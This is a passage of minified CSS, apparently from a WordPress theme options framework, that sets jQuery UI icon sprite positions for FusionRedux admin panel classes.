.ui-state-error-text .ui-icon,.control-panel-fusionredux .ui-state-error .ui-icon,.control-panel-fusionredux .ui-state-error-text .ui-icon,.fusionredux-metabox .ui-state-error .ui-icon,.fusionredux-metabox .ui-state-error-text .ui-icon{background-image:url(images/ui-icons_f6cf3b_256x240.png)}.fusionredux-container .ui-icon-carat-1-n,.control-section-fusionredux .ui-icon-carat-1-n,.control-panel-fusionredux .ui-icon-carat-1-n,.fusionredux-metabox .ui-icon-carat-1-n{background-position:0 0}.fusionredux-container .ui-icon-carat-1-ne,.control-section-fusionredux .ui-icon-carat-1-ne,.control-panel-fusionredux .ui-icon-carat-1-ne,.fusionredux-metabox .ui-icon-carat-1-ne{background-position:-16px 0}.fusionredux-container .ui-icon-carat-1-e,.control-section-fusionredux .ui-icon-carat-1-e,.control-panel-fusionredux .ui-icon-carat-1-e,.fusionredux-metabox .ui-icon-carat-1-e{background-position:-32px 0}.fusionredux-container .ui-icon-carat-1-se,.control-section-fusionredux .ui-icon-carat-1-se,.control-panel-fusionredux .ui-icon-carat-1-se,.fusionredux-metabox .ui-icon-carat-1-se{background-position:-48px 0}.fusionredux-container .ui-icon-carat-1-s,.control-section-fusionredux .ui-icon-carat-1-s,.control-panel-fusionredux .ui-icon-carat-1-s,.fusionredux-metabox .ui-icon-carat-1-s{background-position:-64px 0}.fusionredux-container .ui-icon-carat-1-sw,.control-section-fusionredux .ui-icon-carat-1-sw,.control-panel-fusionredux .ui-icon-carat-1-sw,.fusionredux-metabox .ui-icon-carat-1-sw{background-position:-80px 0}.fusionredux-container .ui-icon-carat-1-w,.control-section-fusionredux .ui-icon-carat-1-w,.control-panel-fusionredux .ui-icon-carat-1-w,.fusionredux-metabox .ui-icon-carat-1-w{background-position:-96px 0}.fusionredux-container .ui-icon-carat-1-nw,.control-section-fusionredux .ui-icon-carat-1-nw,.control-panel-fusionredux .ui-icon-carat-1-nw,.fusionredux-metabox .ui-icon-carat-1-nw{background-position:-112px 0}.fusionredux-container .ui-icon-carat-2-n-s,.control-section-fusionredux .ui-icon-carat-2-n-s,.control-panel-fusionredux .ui-icon-carat-2-n-s,.fusionredux-metabox .ui-icon-carat-2-n-s{background-position:-128px 0}.fusionredux-container .ui-icon-carat-2-e-w,.control-section-fusionredux .ui-icon-carat-2-e-w,.control-panel-fusionredux .ui-icon-carat-2-e-w,.fusionredux-metabox .ui-icon-carat-2-e-w{background-position:-144px 0}.fusionredux-container .ui-icon-triangle-1-n,.control-section-fusionredux .ui-icon-triangle-1-n,.control-panel-fusionredux .ui-icon-triangle-1-n,.fusionredux-metabox .ui-icon-triangle-1-n{background-position:0 -16px}.fusionredux-container .ui-icon-triangle-1-ne,.control-section-fusionredux .ui-icon-triangle-1-ne,.control-panel-fusionredux .ui-icon-triangle-1-ne,.fusionredux-metabox .ui-icon-triangle-1-ne{background-position:-16px -16px}.fusionredux-container .ui-icon-triangle-1-e,.control-section-fusionredux .ui-icon-triangle-1-e,.control-panel-fusionredux .ui-icon-triangle-1-e,.fusionredux-metabox .ui-icon-triangle-1-e{background-position:-32px -16px}.fusionredux-container .ui-icon-triangle-1-se,.control-section-fusionredux .ui-icon-triangle-1-se,.control-panel-fusionredux .ui-icon-triangle-1-se,.fusionredux-metabox .ui-icon-triangle-1-se{background-position:-48px -16px}.fusionredux-container .ui-icon-triangle-1-s,.control-section-fusionredux .ui-icon-triangle-1-s,.control-panel-fusionredux .ui-icon-triangle-1-s,.fusionredux-metabox .ui-icon-triangle-1-s{background-position:-64px -16px}.fusionredux-container .ui-icon-triangle-1-sw,.control-section-fusionredux .ui-icon-triangle-1-sw,.control-panel-fusionredux .ui-icon-triangle-1-sw,.fusionredux-metabox .ui-icon-triangle-1-sw{background-position:-80px -16px}.fusionredux-container .ui-icon-triangle-1-w,.control-section-fusionredux .ui-icon-triangle-1-w,.control-panel-fusionredux .ui-icon-triangle-1-w,.fusionredux-metabox .ui-icon-triangle-1-w{background-position:-96px -16px}.fusionredux-container .ui-icon-triangle-1-nw,.control-section-fusionredux .ui-icon-triangle-1-nw,.control-panel-fusionredux .ui-icon-triangle-1-nw,.fusionredux-metabox .ui-icon-triangle-1-nw{background-position:-112px -16px}.fusionredux-container .ui-icon-triangle-2-n-s,.control-section-fusionredux .ui-icon-triangle-2-n-s,.control-panel-fusionredux .ui-icon-triangle-2-n-s,.fusionredux-metabox .ui-icon-triangle-2-n-s{background-position:-128px -16px}.fusionredux-container .ui-icon-triangle-2-e-w,.control-section-fusionredux .ui-icon-triangle-2-e-w,.control-panel-fusionredux .ui-icon-triangle-2-e-w,.fusionredux-metabox .ui-icon-triangle-2-e-w{background-position:-144px -16px}.fusionredux-container .ui-icon-arrow-1-n,.control-section-fusionredux .ui-icon-arrow-1-n,.control-panel-fusionredux .ui-icon-arrow-1-n,.fusionredux-metabox .ui-icon-arrow-1-n{background-position:0 -32px}.fusionredux-container .ui-icon-arrow-1-ne,.control-section-fusionredux .ui-icon-arrow-1-ne,.control-panel-fusionredux .ui-icon-arrow-1-ne,.fusionredux-metabox .ui-icon-arrow-1-ne{background-position:-16px -32px}.fusionredux-container .ui-icon-arrow-1-e,.control-section-fusionredux .ui-icon-arrow-1-e,.control-panel-fusionredux .ui-icon-arrow-1-e,.fusionredux-metabox .ui-icon-arrow-1-e{background-position:-32px -32px}.fusionredux-container .ui-icon-arrow-1-se,.control-section-fusionredux .ui-icon-arrow-1-se,.control-panel-fusionredux .ui-icon-arrow-1-se,.fusionredux-metabox .ui-icon-arrow-1-se{background-position:-48px -32px}.fusionredux-container .ui-icon-arrow-1-s,.control-section-fusionredux .ui-icon-arrow-1-s,.control-panel-fusionredux .ui-icon-arrow-1-s,.fusionredux-metabox .ui-icon-arrow-1-s{background-position:-64px -32px}.fusionredux-container .ui-icon-arrow-1-sw,.control-section-fusionredux .ui-icon-arrow-1-sw,.control-panel-fusionredux .ui-icon-arrow-1-sw,.fusionredux-metabox .ui-icon-arrow-1-sw{background-position:-80px -32px}.fusionredux-container .ui-icon-arrow-1-w,.control-section-fusionredux .ui-icon-arrow-1-w,.control-panel-fusionredux .ui-icon-arrow-1-w,.fusionredux-metabox .ui-icon-arrow-1-w{background-position:-96px -32px}.fusionredux-container .ui-icon-arrow-1-nw,.control-section-fusionredux .ui-icon-arrow-1-nw,.control-panel-fusionredux .ui-icon-arrow-1-nw,.fusionredux-metabox .ui-icon-arrow-1-nw{background-position:-112px -32px}.fusionredux-container .ui-icon-arrow-2-n-s,.control-section-fusionredux .ui-icon-arrow-2-n-s,.control-panel-fusionredux .ui-icon-arrow-2-n-s,.fusionredux-metabox .ui-icon-arrow-2-n-s{background-position:-128px -32px}.fusionredux-container .ui-icon-arrow-2-ne-sw,.control-section-fusionredux .ui-icon-arrow-2-ne-sw,.control-panel-fusionredux .ui-icon-arrow-2-ne-sw,.fusionredux-metabox .ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.fusionredux-container .ui-icon-arrow-2-e-w,.control-section-fusionredux .ui-icon-arrow-2-e-w,.control-panel-fusionredux .ui-icon-arrow-2-e-w,.fusionredux-metabox .ui-icon-arrow-2-e-w{background-position:-160px -32px}.fusionredux-container .ui-icon-arrow-2-se-nw,.control-section-fusionredux .ui-icon-arrow-2-se-nw,.control-panel-fusionredux .ui-icon-arrow-2-se-nw,.fusionredux-metabox .ui-icon-arrow-2-se-nw{background-position:-176px -32px}.fusionredux-container .ui-icon-arrowstop-1-n,.control-section-fusionredux .ui-icon-arrowstop-1-n,.control-panel-fusionredux .ui-icon-arrowstop-1-n,.fusionredux-metabox .ui-icon-arrowstop-1-n{background-position:-192px -32px}.fusionredux-container .ui-icon-arrowstop-1-e,.control-section-fusionredux .ui-icon-arrowstop-1-e,.control-panel-fusionredux .ui-icon-arrowstop-1-e,.fusionredux-metabox .ui-icon-arrowstop-1-e{background-position:-208px -32px}.fusionredux-container .ui-icon-arrowstop-1-s,.control-section-fusionredux .ui-icon-arrowstop-1-s,.control-panel-fusionredux .ui-icon-arrowstop-1-s,.fusionredux-metabox .ui-icon-arrowstop-1-s{background-position:-224px -32px}.fusionredux-container .ui-icon-arrowstop-1-w,.control-section-fusionredux .ui-icon-arrowstop-1-w,.control-panel-fusionredux .ui-icon-arrowstop-1-w,.fusionredux-metabox .ui-icon-arrowstop-1-w{background-position:-240px -32px}.fusionredux-container .ui-icon-arrowthick-1-n,.control-section-fusionredux .ui-icon-arrowthick-1-n,.control-panel-fusionredux .ui-icon-arrowthick-1-n,.fusionredux-metabox .ui-icon-arrowthick-1-n{background-position:0 -48px}.fusionredux-container .ui-icon-arrowthick-1-ne,.control-section-fusionredux .ui-icon-arrowthick-1-ne,.control-panel-fusionredux .ui-icon-arrowthick-1-ne,.fusionredux-metabox .ui-icon-arrowthick-1-ne{background-position:-16px -48px}.fusionredux-container .ui-icon-arrowthick-1-e,.control-section-fusionredux .ui-icon-arrowthick-1-e,.control-panel-fusionredux .ui-icon-arrowthick-1-e,.fusionredux-metabox .ui-icon-arrowthick-1-e{background-position:-32px -48px}.fusionredux-container .ui-icon-arrowthick-1-se,.control-section-fusionredux .ui-icon-arrowthick-1-se,.control-panel-fusionredux .ui-icon-arrowthick-1-se,.fusionredux-metabox .ui-icon-arrowthick-1-se{background-position:-48px -48px}.fusionredux-container .ui-icon-arrowthick-1-s,.control-section-fusionredux .ui-icon-arrowthick-1-s,.control-panel-fusionredux .ui-icon-arrowthick-1-s,.fusionredux-metabox .ui-icon-arrowthick-1-s{background-position:-64px -48px}.fusionredux-container .ui-icon-arrowthick-1-sw,.control-section-fusionredux .ui-icon-arrowthick-1-sw,.control-panel-fusionredux .ui-icon-arrowthick-1-sw,.fusionredux-metabox .ui-icon-arrowthick-1-sw{background-position:-80px -48px}.fusionredux-container .ui-icon-arrowthick-1-w,.control-section-fusionredux .ui-icon-arrowthick-1-w,.control-panel-fusionredux .ui-icon-arrowthick-1-w,.fusionredux-metabox .ui-icon-arrowthick-1-w{background-position:-96px -48px}.fusionredux-container .ui-icon-arrowthick-1-nw,.control-section-fusionredux .ui-icon-arrowthick-1-nw,.control-panel-fusionredux .ui-icon-arrowthick-1-nw,.fusionredux-metabox .ui-icon-arrowthick-1-nw{background-position:-112px -48px}.fusionredux-container .ui-icon-arrowthick-2-n-s,.control-section-fusionredux .ui-icon-arrowthick-2-n-s,.control-panel-fusionredux .ui-icon-arrowthick-2-n-s,.fusionredux-metabox .ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.fusionredux-container .ui-icon-arrowthick-2-ne-sw,.control-section-fusionredux .ui-icon-arrowthick-2-ne-sw,.control-panel-fusionredux .ui-icon-arrowthick-2-ne-sw,.fusionredux-metabox .ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.fusionredux-container .ui-icon-arrowthick-2-e-w,.control-section-fusionredux .ui-icon-arrowthick-2-e-w,.control-panel-fusionredux .ui-icon-arrowthick-2-e-w,.fusionredux-metabox .ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.fusionredux-container .ui-icon-arrowthick-2-se-nw,.control-section-fusionredux .ui-icon-arrowthick-2-se-nw,.control-panel-fusionredux .ui-icon-arrowthick-2-se-nw,.fusionredux-metabox .ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.fusionredux-container .ui-icon-arrowthickstop-1-n,.control-section-fusionredux .ui-icon-arrowthickstop-1-n,.control-panel-fusionredux .ui-icon-arrowthickstop-1-n,.fusionredux-metabox .ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.fusionredux-container .ui-icon-arrowthickstop-1-e,.control-section-fusionredux .ui-icon-arrowthickstop-1-e,.control-panel-fusionredux .ui-icon-arrowthickstop-1-e,.fusionredux-metabox .ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.fusionredux-container .ui-icon-arrowthickstop-1-s,.control-section-fusionredux .ui-icon-arrowthickstop-1-s,.control-panel-fusionredux .ui-icon-arrowthickstop-1-s,.fusionredux-metabox .ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.fusionredux-container .ui-icon-arrowthickstop-1-w,.control-section-fusionredux .ui-icon-arrowthickstop-1-w,.control-panel-fusionredux .ui-icon-arrowthickstop-1-w,.fusionredux-metabox .ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.fusionredux-container .ui-icon-arrowreturnthick-1-w,.control-section-fusionredux .ui-icon-arrowreturnthick-1-w,.control-panel-fusionredux .ui-icon-arrowreturnthick-1-w,.fusionredux-metabox .ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.fusionredux-container .ui-icon-arrowreturnthick-1-n,.control-section-fusionredux .ui-icon-arrowreturnthick-1-n,.control-panel-fusionredux .ui-icon-arrowreturnthick-1-n,.fusionredux-metabox .ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.fusionredux-container .ui-icon-arrowreturnthick-1-e,.control-section-fusionredux .ui-icon-arrowreturnthick-1-e,.control-panel-fusionredux .ui-icon-arrowreturnthick-1-e,.fusionredux-metabox .ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.fusionredux-container .ui-icon-arrowreturnthick-1-s,.control-section-fusionredux .ui-icon-arrowreturnthick-1-s,.control-panel-fusionredux .ui-icon-arrowreturnthick-1-s,.fusionredux-metabox .ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.fusionredux-container .ui-icon-arrowreturn-1-w,.control-section-fusionredux .ui-icon-arrowreturn-1-w,.control-panel-fusionredux .ui-icon-arrowreturn-1-w,.fusionredux-metabox .ui-icon-arrowreturn-1-w{background-position:-64px -64px}.fusionredux-container .ui-icon-arrowreturn-1-n,.control-section-fusionredux .ui-icon-arrowreturn-1-n,.control-panel-fusionredux .ui-icon-arrowreturn-1-n,.fusionredux-metabox .ui-icon-arrowreturn-1-n{background-position:-80px -64px}.fusionredux-container .ui-icon-arrowreturn-1-e,.control-section-fusionredux .ui-icon-arrowreturn-1-e,.control-panel-fusionredux .ui-icon-arrowreturn-1-e,.fusionredux-metabox .ui-icon-arrowreturn-1-e{background-position:-96px -64px}.fusionredux-container .ui-icon-arrowreturn-1-s,.control-section-fusionredux .ui-icon-arrowreturn-1-s,.control-panel-fusionredux .ui-icon-arrowreturn-1-s,.fusionredux-metabox .ui-icon-arrowreturn-1-s{background-position:-112px -64px}.fusionredux-container .ui-icon-arrowrefresh-1-w,.control-section-fusionredux .ui-icon-arrowrefresh-1-w,.control-panel-fusionredux .ui-icon-arrowrefresh-1-w,.fusionredux-metabox .ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.fusionredux-container .ui-icon-arrowrefresh-1-n,.control-section-fusionredux .ui-icon-arrowrefresh-1-n,.control-panel-fusionredux .ui-icon-arrowrefresh-1-n,.fusionredux-metabox .ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.fusionredux-container .ui-icon-arrowrefresh-1-e,.control-section-fusionredux .ui-icon-arrowrefresh-1-e,.control-panel-fusionredux .ui-icon-arrowrefresh-1-e,.fusionredux-metabox .ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.fusionredux-container .ui-icon-arrowrefresh-1-s,.control-section-fusionredux .ui-icon-arrowrefresh-1-s,.control-panel-fusionredux .ui-icon-arrowrefresh-1-s,.fusionredux-metabox .ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.fusionredux-container .ui-icon-arrow-4,.control-section-fusionredux .ui-icon-arrow-4,.control-panel-fusionredux .ui-icon-arrow-4,.fusionredux-metabox .ui-icon-arrow-4{background-position:0 -80px}.fusionredux-container .ui-icon-arrow-4-diag,.control-section-fusionredux .ui-icon-arrow-4-diag,.control-panel-fusionredux .ui-icon-arrow-4-diag,.fusionredux-metabox .ui-icon-arrow-4-diag{background-position:-16px -80px}.fusionredux-container .ui-icon-extlink,.control-section-fusionredux .ui-icon-extlink,.control-panel-fusionredux .ui-icon-extlink,.fusionredux-metabox .ui-icon-extlink{background-position:-32px -80px}.fusionredux-container .ui-icon-newwin,.control-section-fusionredux .ui-icon-newwin,.control-panel-fusionredux .ui-icon-newwin,.fusionredux-metabox .ui-icon-newwin{background-position:-48px -80px}.fusionredux-container .ui-icon-refresh,.control-section-fusionredux .ui-icon-refresh,.control-panel-fusionredux .ui-icon-refresh,.fusionredux-metabox .ui-icon-refresh{background-position:-64px -80px}.fusionredux-container .ui-icon-shuffle,.control-section-fusionredux .ui-icon-shuffle,.control-panel-fusionredux .ui-icon-shuffle,.fusionredux-metabox .ui-icon-shuffle{background-position:-80px -80px}.fusionredux-container .ui-icon-transfer-e-w,.control-section-fusionredux .ui-icon-transfer-e-w,.control-panel-fusionredux .ui-icon-transfer-e-w,.fusionredux-metabox .ui-icon-transfer-e-w{background-position:-96px -80px}.fusionredux-container .ui-icon-transferthick-e-w,.control-section-fusionredux .ui-icon-transferthick-e-w,.control-panel-fusionredux .ui-icon-transferthick-e-w,.fusionredux-metabox .ui-icon-transferthick-e-w{background-position:-112px -80px}.fusionredux-container .ui-icon-folder-collapsed,.control-section-fusionredux .ui-icon-folder-collapsed,.control-panel-fusionredux .ui-icon-folder-collapsed,.fusionredux-metabox .ui-icon-folder-collapsed{background-position:0 -96px}.fusionredux-container .ui-icon-folder-open,.control-section-fusionredux .ui-icon-folder-open,.control-panel-fusionredux .ui-icon-folder-open,.fusionredux-metabox .ui-icon-folder-open{background-position:-16px -96px}.fusionredux-container .ui-icon-document,.control-section-fusionredux .ui-icon-document,.control-panel-fusionredux .ui-icon-document,.fusionredux-metabox .ui-icon-document{background-position:-32px -96px}.fusionredux-container .ui-icon-document-b,.control-section-fusionredux .ui-icon-document-b,.control-panel-fusionredux .ui-icon-document-b,.fusionredux-metabox .ui-icon-document-b{background-position:-48px -96px}.fusionredux-container .ui-icon-note,.control-section-fusionredux .ui-icon-note,.control-panel-fusionredux .ui-icon-note,.fusionredux-metabox .ui-icon-note{background-position:-64px -96px}.fusionredux-container .ui-icon-mail-closed,.control-section-fusionredux .ui-icon-mail-closed,.control-panel-fusionredux .ui-icon-mail-closed,.fusionredux-metabox .ui-icon-mail-closed{background-position:-80px -96px}.fusionredux-container .ui-icon-mail-open,.control-section-fusionredux .ui-icon-mail-open,.control-panel-fusionredux .ui-icon-mail-open,.fusionredux-metabox .ui-icon-mail-open{background-position:-96px -96px}.fusionredux-container .ui-icon-suitcase,.control-section-fusionredux .ui-icon-suitcase,.control-panel-fusionredux .ui-icon-suitcase,.fusionredux-metabox .ui-icon-suitcase{background-position:-112px -96px}.fusionredux-container .ui-icon-comment,.control-section-fusionredux .ui-icon-comment,.control-panel-fusionredux .ui-icon-comment,.fusionredux-metabox .ui-icon-comment{background-position:-128px -96px}.fusionredux-container .ui-icon-person,.control-section-fusionredux .ui-icon-person,.control-panel-fusionredux .ui-icon-person,.fusionredux-metabox .ui-icon-person{background-position:-144px -96px}.fusionredux-container .ui-icon-print,.control-section-fusionredux .ui-icon-print,.control-panel-fusionredux .ui-icon-print,.fusionredux-metabox .ui-icon-print{background-position:-160px -96px}.fusionredux-container .ui-icon-trash,.control-section-fusionredux .ui-icon-trash,.control-panel-fusionredux .ui-icon-trash,.fusionredux-metabox .ui-icon-trash{background-position:-176px -96px}.fusionredux-container .ui-icon-locked,.control-section-fusionredux .ui-icon-locked,.control-panel-fusionredux .ui-icon-locked,.fusionredux-metabox .ui-icon-locked{background-position:-192px -96px}.fusionredux-container .ui-icon-unlocked,.control-section-fusionredux .ui-icon-unlocked,.control-panel-fusionredux .ui-icon-unlocked,.fusionredux-metabox .ui-icon-unlocked{background-position:-208px -96px}.fusionredux-container .ui-icon-bookmark,.control-section-fusionredux .ui-icon-bookmark,.control-panel-fusionredux .ui-icon-bookmark,.fusionredux-metabox .ui-icon-bookmark{background-position:-224px -96px}.fusionredux-container .ui-icon-tag,.control-section-fusionredux .ui-icon-tag,.control-panel-fusionredux .ui-icon-tag,.fusionredux-metabox .ui-icon-tag{background-position:-240px -96px}.fusionredux-container .ui-icon-home,.control-section-fusionredux .ui-icon-home,.control-panel-fusionredux .ui-icon-home,.fusionredux-metabox .ui-icon-home{background-position:0 -112px}.fusionredux-container .ui-icon-flag,.control-section-fusionredux .ui-icon-flag,.control-panel-fusionredux .ui-icon-flag,.fusionredux-metabox .ui-icon-flag{background-position:-16px -112px}.fusionredux-container .ui-icon-calendar,.control-section-fusionredux .ui-icon-calendar,.control-panel-fusionredux .ui-icon-calendar,.fusionredux-metabox .ui-icon-calendar{background-position:-32px -112px}.fusionredux-container .ui-icon-cart,.control-section-fusionredux .ui-icon-cart,.control-panel-fusionredux .ui-icon-cart,.fusionredux-metabox .ui-icon-cart{background-position:-48px -112px}.fusionredux-container .ui-icon-pencil,.control-section-fusionredux .ui-icon-pencil,.control-panel-fusionredux .ui-icon-pencil,.fusionredux-metabox .ui-icon-pencil{background-position:-64px -112px}.fusionredux-container .ui-icon-clock,.control-section-fusionredux .ui-icon-clock,.control-panel-fusionredux .ui-icon-clock,.fusionredux-metabox .ui-icon-clock{background-position:-80px -112px}.fusionredux-container .ui-icon-disk,.control-section-fusionredux .ui-icon-disk,.control-panel-fusionredux .ui-icon-disk,.fusionredux-metabox .ui-icon-disk{background-position:-96px -112px}.fusionredux-container .ui-icon-calculator,.control-section-fusionredux .ui-icon-calculator,.control-panel-fusionredux .ui-icon-calculator,.fusionredux-metabox .ui-icon-calculator{background-position:-112px -112px}.fusionredux-container .ui-icon-zoomin,.control-section-fusionredux .ui-icon-zoomin,.control-panel-fusionredux .ui-icon-zoomin,.fusionredux-metabox .ui-icon-zoomin{background-position:-128px -112px}.fusionredux-container .ui-icon-zoomout,.control-section-fusionredux .ui-icon-zoomout,.control-panel-fusionredux .ui-icon-zoomout,.fusionredux-metabox .ui-icon-zoomout{background-position:-144px -112px}.fusionredux-container .ui-icon-search,.control-section-fusionredux .ui-icon-search,.control-panel-fusionredux .ui-icon-search,.fusionredux-metabox .ui-icon-search{background-position:-160px -112px}.fusionredux-container .ui-icon-wrench,.control-section-fusionredux .ui-icon-wrench,.control-panel-fusionredux .ui-icon-wrench,.fusionredux-metabox .ui-icon-wrench{background-position:-176px -112px}.fusionredux-container .ui-icon-gear,.control-section-fusionredux .ui-icon-gear,.control-panel-fusionredux .ui-icon-gear,.fusionredux-metabox .ui-icon-gear{background-position:-192px -112px}.fusionredux-container .ui-icon-heart,.control-section-fusionredux .ui-icon-heart,.control-panel-fusionredux .ui-icon-heart,.fusionredux-metabox .ui-icon-heart{background-position:-208px -112px}.fusionredux-container .ui-icon-star,.control-section-fusionredux .ui-icon-star,.control-panel-fusionredux .ui-icon-star,.fusionredux-metabox .ui-icon-star{background-position:-224px -112px}.fusionredux-container .ui-icon-link,.control-section-fusionredux .ui-icon-link,.control-panel-fusionredux .ui-icon-link,.fusionredux-metabox .ui-icon-link{background-position:-240px -112px}.fusionredux-container .ui-icon-cancel,.control-section-fusionredux .ui-icon-cancel,.control-panel-fusionredux .ui-icon-cancel,.fusionredux-metabox .ui-icon-cancel{background-position:0 -128px}.fusionredux-container .ui-icon-plus,.control-section-fusionredux .ui-icon-plus,.control-panel-fusionredux .ui-icon-plus,.fusionredux-metabox .ui-icon-plus{background-position:-16px -128px}.fusionredux-container .ui-icon-plusthick,.control-section-fusionredux .ui-icon-plusthick,.control-panel-fusionredux .ui-icon-plusthick,.fusionredux-metabox .ui-icon-plusthick{background-position:-32px -128px}.fusionredux-container .ui-icon-minus,.control-section-fusionredux .ui-icon-minus,.control-panel-fusionredux .ui-icon-minus,.fusionredux-metabox .ui-icon-minus{background-position:-48px -128px}.fusionredux-container .ui-icon-minusthick,.control-section-fusionredux .ui-icon-minusthick,.control-panel-fusionredux .ui-icon-minusthick,.fusionredux-metabox .ui-icon-minusthick{background-position:-64px -128px}.fusionredux-container .ui-icon-close,.control-section-fusionredux .ui-icon-close,.control-panel-fusionredux .ui-icon-close,.fusionredux-metabox .ui-icon-close{background-position:-80px -128px}.fusionredux-container .ui-icon-closethick,.control-section-fusionredux .ui-icon-closethick,.control-panel-fusionredux .ui-icon-closethick,.fusionredux-metabox .ui-icon-closethick{background-position:-96px -128px}.fusionredux-container .ui-icon-key,.control-section-fusionredux .ui-icon-key,.control-panel-fusionredux .ui-icon-key,.fusionredux-metabox .ui-icon-key{background-position:-112px -128px}.fusionredux-container .ui-icon-lightbulb,.control-section-fusionredux .ui-icon-lightbulb,.control-panel-fusionredux .ui-icon-lightbulb,.fusionredux-metabox .ui-icon-lightbulb{background-position:-128px -128px}.fusionredux-container .ui-icon-scissors,.control-section-fusionredux .ui-icon-scissors,.control-panel-fusionredux .ui-icon-scissors,.fusionredux-metabox .ui-icon-scissors{background-position:-144px -128px}.fusionredux-container .ui-icon-clipboard,.control-section-fusionredux .ui-icon-clipboard,.control-panel-fusionredux .ui-icon-clipboard,.fusionredux-metabox .ui-icon-clipboard{background-position:-160px -128px}.fusionredux-container .ui-icon-copy,.control-section-fusionredux .ui-icon-copy,.control-panel-fusionredux .ui-icon-copy,.fusionredux-metabox .ui-icon-copy{background-position:-176px -128px}.fusionredux-container .ui-icon-contact,.control-section-fusionredux .ui-icon-contact,.control-panel-fusionredux .ui-icon-contact,.fusionredux-metabox .ui-icon-contact{background-position:-192px -128px}.fusionredux-container .ui-icon-image,.control-section-fusionredux .ui-icon-image,.control-panel-fusionredux .ui-icon-image,.fusionredux-metabox .ui-icon-image{background-position:-208px -128px}.fusionredux-container .ui-icon-video,.control-section-fusionredux .ui-icon-video,.control-panel-fusionredux .ui-icon-video,.fusionredux-metabox .ui-icon-video{background-position:-224px -128px}.fusionredux-container .ui-icon-script,.control-section-fusionredux .ui-icon-script,.control-panel-fusionredux .ui-icon-script,.fusionredux-metabox .ui-icon-script{background-position:-240px -128px}.fusionredux-container .ui-icon-alert,.control-section-fusionredux .ui-icon-alert,.control-panel-fusionredux .ui-icon-alert,.fusionredux-metabox .ui-icon-alert{background-position:0 -144px}.fusionredux-container .ui-icon-info,.control-section-fusionredux .ui-icon-info,.control-panel-fusionredux .ui-icon-info,.fusionredux-metabox .ui-icon-info{background-position:-16px -144px}.fusionredux-container .ui-icon-notice,.control-section-fusionredux .ui-icon-notice,.control-panel-fusionredux .ui-icon-notice,.fusionredux-metabox .ui-icon-notice{background-position:-32px -144px}.fusionredux-container .ui-icon-help,.control-section-fusionredux .ui-icon-help,.control-panel-fusionredux .ui-icon-help,.fusionredux-metabox .ui-icon-help{background-position:-48px -144px}.fusionredux-container .ui-icon-check,.control-section-fusionredux .ui-icon-check,.control-panel-fusionredux .ui-icon-check,.fusionredux-metabox .ui-icon-check{background-position:-64px -144px}.fusionredux-container .ui-icon-bullet,.control-section-fusionredux .ui-icon-bullet,.control-panel-fusionredux .ui-icon-bullet,.fusionredux-metabox .ui-icon-bullet{background-position:-80px -144px}.fusionredux-container .ui-icon-radio-off,.control-section-fusionredux .ui-icon-radio-off,.control-panel-fusionredux .ui-icon-radio-off,.fusionredux-metabox .ui-icon-radio-off{background-position:-96px -144px}.fusionredux-container .ui-icon-radio-on,.control-section-fusionredux .ui-icon-radio-on,.control-panel-fusionredux .ui-icon-radio-on,.fusionredux-metabox .ui-icon-radio-on{background-position:-112px -144px}.fusionredux-container .ui-icon-pin-w,.control-section-fusionredux .ui-icon-pin-w,.control-panel-fusionredux .ui-icon-pin-w,.fusionredux-metabox .ui-icon-pin-w{background-position:-128px -144px}.fusionredux-container .ui-icon-pin-s,.control-section-fusionredux .ui-icon-pin-s,.control-panel-fusionredux .ui-icon-pin-s,.fusionredux-metabox .ui-icon-pin-s{background-position:-144px -144px}.fusionredux-container .ui-icon-play,.control-section-fusionredux .ui-icon-play,.control-panel-fusionredux .ui-icon-play,.fusionredux-metabox .ui-icon-play{background-position:0 -160px}.fusionredux-container .ui-icon-pause,.control-section-fusionredux .ui-icon-pause,.control-panel-fusionredux .ui-icon-pause,.fusionredux-metabox .ui-icon-pause{background-position:-16px -160px}.fusionredux-container .ui-icon-seek-next,.control-section-fusionredux .ui-icon-seek-next,.control-panel-fusionredux .ui-icon-seek-next,.fusionredux-metabox .ui-icon-seek-next{background-position:-32px -160px}.fusionredux-container .ui-icon-seek-prev,.control-section-fusionredux .ui-icon-seek-prev,.control-panel-fusionredux .ui-icon-seek-prev,.fusionredux-metabox .ui-icon-seek-prev{background-position:-48px -160px}.fusionredux-container .ui-icon-seek-end,.control-section-fusionredux .ui-icon-seek-end,.control-panel-fusionredux .ui-icon-seek-end,.fusionredux-metabox .ui-icon-seek-end{background-position:-64px -160px}.fusionredux-container .ui-icon-seek-start,.control-section-fusionredux .ui-icon-seek-start,.control-panel-fusionredux .ui-icon-seek-start,.fusionredux-metabox .ui-icon-seek-start{background-position:-80px -160px}.fusionredux-container .ui-icon-seek-first,.control-section-fusionredux .ui-icon-seek-first,.control-panel-fusionredux .ui-icon-seek-first,.fusionredux-metabox .ui-icon-seek-first{background-position:-80px -160px}.fusionredux-container .ui-icon-stop,.control-section-fusionredux .ui-icon-stop,.control-panel-fusionredux .ui-icon-stop,.fusionredux-metabox .ui-icon-stop{background-position:-96px -160px}.fusionredux-container .ui-icon-eject,.control-section-fusionredux .ui-icon-eject,.control-panel-fusionredux .ui-icon-eject,.fusionredux-metabox .ui-icon-eject{background-position:-112px -160px}.fusionredux-container .ui-icon-volume-off,.control-section-fusionredux .ui-icon-volume-off,.control-panel-fusionredux .ui-icon-volume-off,.fusionredux-metabox .ui-icon-volume-off{background-position:-128px -160px}.fusionredux-container .ui-icon-volume-on,.control-section-fusionredux .ui-icon-volume-on,.control-panel-fusionredux .ui-icon-volume-on,.fusionredux-metabox .ui-icon-volume-on{background-position:-144px -160px}.fusionredux-container .ui-icon-power,.control-section-fusionredux .ui-icon-power,.control-panel-fusionredux .ui-icon-power,.fusionredux-metabox .ui-icon-power{background-position:0 -176px}.fusionredux-container 